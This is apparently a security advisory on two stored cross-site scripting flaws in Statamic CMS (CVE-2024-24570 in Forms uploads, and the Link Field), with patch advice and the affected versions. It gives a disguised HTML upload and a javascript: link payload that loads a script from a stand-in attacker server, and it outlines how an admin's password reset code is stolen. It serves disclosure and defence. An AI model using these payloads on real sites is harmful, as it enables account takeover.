Vendor description
"Statamic is a modern, clean, and highly adaptable CMS built on Laravel that can run full-stack, headless, on flat files or databases, or as a static site generator."
Source: https://statamic.com
Business recommendation
The vendor provides a patch which should be installed immediately. Furthermore, an updated guideline for implementing a Content Security Policy (CSP) is provided by the vendor.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)
Statamic's Forms feature allows unauthenticated users to upload certain filetypes. While only a limited number of file extensions are allowed, it's possible to bypass these restrictions to upload an HTML file containing JavaScript code.
2) Stored Cross-Site Scripting in Link Field
Statamic's Link Field feature provides authenticated users a convenient way of inserting Hyperlinks into a collection's entry. It was identified that it's possible to execute JavaScript code upon clicking on a specially crafted Hyperlink.
Proof of concept
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)
When trying to upload an HTML file as an unauthenticated user, the .html extension gets correctly detected by Statamic, leading to the file being blocked from uploading.
This check can be bypassed though, by instead using a .jpg file extension, as files of this type are allowed to be uploaded. Afterwards, the file's content is analyzed by Statamic and correctly interpreted as HTML, resulting in the initial .jpg extension being replaced with an .html extension. As no checks on this newly set file extension are performed, the file is now shown as a valid submission in Statamic's "Forms" page.
If an authenticated user accesses this submission, the included JavaScript code will be executed. This can be verified by uploading a file called "test.jpg" with the following content:
<!DOCTYPE html>
<html>
<body>
<script>alert("Stored XSS on "+window.origin)</script>
</body>
</html>To further demonstrate the criticality of this vulnerability, the following JavaScript code can be used:
[ POC code removed from public advisory ]
When an admin user now accesses this JavaScript submission, the following happens:
1. Load the "Users" page in a hidden iframe and extract the CSRF token from it.
2. Request user information and extract the user ID and email address from
the response.
3. Request a password reset code for the extracted used ID.
4. Extract the password reset code from the response and send it to the
attacker server including the user's email address.
After receiving the victim's password reset code and email address, the attacker can now visit the following URL and set a new password:
https:// <STATAMIC_SERVER>/!/auth/password/reset/<PASSWORD_RESET_CODE>This results in a successful takeover of the victim's account.
2) Stored Cross-Site Scripting in Link Field
When using a Link Field of type "URL", the following XSS payload can be used as input:
javascript:var js=document.createElement('script');js.src='https://<ATTACKER_SERVER>/poc.js';document.body.append(js)As this input is typically placed in the "href" attribute of an anchor tag, the JavaScript pseudo protocol can be used to execute arbitrary JavaScript code upon clicking on the Hyperlink. In this case the external file "poc.js" will be loaded, which contains the JavaScript code from the password reset code stealer above (removed from public advisory).
This way, an authenticated user with lower privileges can gain control over an admin's account after the admin clicks on the malicious Hyperlink.
Statamic's "sanitize" modifier doesn't prevent this attack, as no illegal characters are being used in the XSS payload:
<a href="{{ url_link | sanitize }}">Link</a>Vulnerable / tested versions
The following version has been tested which was the latest version available at the time of the test
- 4.45.0
The following Statamic CMS versions are affected by this vulnerability:
- <4.46.0
- <3.4.17